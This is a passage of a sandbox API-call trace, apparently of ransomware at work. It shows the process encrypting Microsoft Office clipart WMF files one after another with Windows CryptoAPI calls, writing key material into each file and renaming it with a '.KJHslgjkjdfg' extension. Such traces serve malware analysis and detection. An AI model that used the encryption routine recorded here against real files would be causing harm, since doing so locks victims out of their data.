dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0203.548] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0203.548] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.548] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x11b6, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x11b6, lpOverlapped=0x0) returned 1 [0203.549] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x11c0, dwBufLen=0x11c0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x11c0) returned 1 [0203.549] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.549] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x11c0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x11c0, lpOverlapped=0x0) returned 1 [0203.550] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0203.550] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1294, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.550] SetEndOfFile (hFile=0x130) returned 1 [0203.552] GetProcessHeap () returned 0x2ef0000 [0203.552] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0203.552] GetProcessHeap () returned 0x2ef0000 [0203.552] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0203.552] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195254.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195254.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195254.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195254.wmf.kjhslgjkjdfg")) returned 1 [0203.553] CloseHandle (hObject=0x130) returned 1 [0203.553] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85704600, ftCreationTime.dwHighDateTime=0x1be2705, ftLastAccessTime.dwLowDateTime=0x65fe5b50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x85704600, ftLastWriteTime.dwHighDateTime=0x1be2705, nFileSizeHigh=0x0, nFileSizeLow=0x207a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0195260.WMF", cAlternateFileName="")) returned 1 [0203.553] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195260.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195260.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0203.554] GetProcessHeap () returned 0x2ef0000 [0203.554] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0203.554] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0203.554] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0203.554] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x6, lpOverlapped=0x0) returned 1 [0203.556] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0203.556] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0203.556] GetProcessHeap () returned 0x2ef0000 [0203.556] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0203.556] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0203.556] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0203.556] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0203.556] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0203.556] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0203.556] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0203.557] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0203.557] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0203.557] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0203.557] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0203.557] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.557] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x207a, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x207a, lpOverlapped=0x0) returned 1 [0203.558] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x2080, dwBufLen=0x2080 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x2080) returned 1 [0203.558] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.558] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x2080, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x2080, lpOverlapped=0x0) returned 1 [0203.558] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0203.558] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x2154, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.558] SetEndOfFile (hFile=0x130) returned 1 [0203.561] GetProcessHeap () returned 0x2ef0000 [0203.561] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0203.561] GetProcessHeap () returned 0x2ef0000 [0203.561] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0203.561] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195260.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195260.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195260.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195260.wmf.kjhslgjkjdfg")) returned 1 [0203.562] CloseHandle (hObject=0x130) returned 1 [0203.562] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98831600, ftCreationTime.dwHighDateTime=0x1be2705, ftLastAccessTime.dwLowDateTime=0x65fe5b50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x98831600, ftLastWriteTime.dwHighDateTime=0x1be2705, nFileSizeHigh=0x0, nFileSizeLow=0x72f8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0195320.WMF", cAlternateFileName="")) returned 1 [0203.562] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195320.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195320.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0203.563] GetProcessHeap () returned 0x2ef0000 [0203.563] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0203.563] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0203.563] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0203.563] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0203.565] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0203.565] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0203.565] GetProcessHeap () returned 0x2ef0000 [0203.566] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0203.566] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0203.566] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0203.566] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0203.566] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0203.566] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0203.566] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0203.566] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0203.566] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0203.566] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0203.566] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0203.566] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.566] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x72f8, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x72f8, lpOverlapped=0x0) returned 1 [0203.567] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x7300, dwBufLen=0x7300 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x7300) returned 1 [0203.568] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.568] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x7300, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x7300, lpOverlapped=0x0) returned 1 [0203.568] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0203.568] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x73d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.568] SetEndOfFile (hFile=0x130) returned 1 [0203.571] GetProcessHeap () returned 0x2ef0000 [0203.571] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0203.571] GetProcessHeap () returned 0x2ef0000 [0203.571] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0203.571] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195320.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195320.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195320.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195320.wmf.kjhslgjkjdfg")) returned 1 [0203.573] CloseHandle (hObject=0x130) returned 1 [0203.573] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa9338c00, ftCreationTime.dwHighDateTime=0x1be2705, ftLastAccessTime.dwLowDateTime=0x65fe5b50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa9338c00, ftLastWriteTime.dwHighDateTime=0x1be2705, nFileSizeHigh=0x0, nFileSizeLow=0x5350, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0195342.WMF", cAlternateFileName="")) returned 1 [0203.573] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195342.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195342.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0203.574] GetProcessHeap () returned 0x2ef0000 [0203.574] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0203.574] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0203.574] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0203.574] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0203.574] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0203.574] GetProcessHeap () returned 0x2ef0000 [0203.574] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0203.574] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0203.574] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0203.574] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0203.577] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0203.577] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0203.577] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0203.577] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0203.577] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0203.577] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0203.577] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0203.577] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.577] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x5350, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x5350, lpOverlapped=0x0) returned 1 [0203.579] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x5350, dwBufLen=0x5350 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x5350) returned 1 [0203.579] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.579] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x5350, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x5350, lpOverlapped=0x0) returned 1 [0203.579] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0203.579] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x5424, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.579] SetEndOfFile (hFile=0x130) returned 1 [0203.588] GetProcessHeap () returned 0x2ef0000 [0203.588] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0203.588] GetProcessHeap () returned 0x2ef0000 [0203.588] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0203.589] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195342.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195342.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195342.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195342.wmf.kjhslgjkjdfg")) returned 1 [0203.590] CloseHandle (hObject=0x130) returned 1 [0203.590] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6600bcb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x48be, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0195428.WMF", cAlternateFileName="")) returned 1 [0203.590] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195428.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195428.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0203.591] GetProcessHeap () returned 0x2ef0000 [0203.591] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0203.591] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0203.591] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0203.591] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x2, lpOverlapped=0x0) returned 1 [0203.593] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0203.594] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0203.594] GetProcessHeap () returned 0x2ef0000 [0203.594] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0203.594] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0203.594] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0203.594] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0203.594] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0203.594] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0203.594] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0203.594] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0203.594] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0203.594] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0203.595] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0203.595] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.595] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x48be, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x48be, lpOverlapped=0x0) returned 1 [0203.596] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x48c0, dwBufLen=0x48c0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x48c0) returned 1 [0203.596] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.596] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x48c0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x48c0, lpOverlapped=0x0) returned 1 [0203.596] 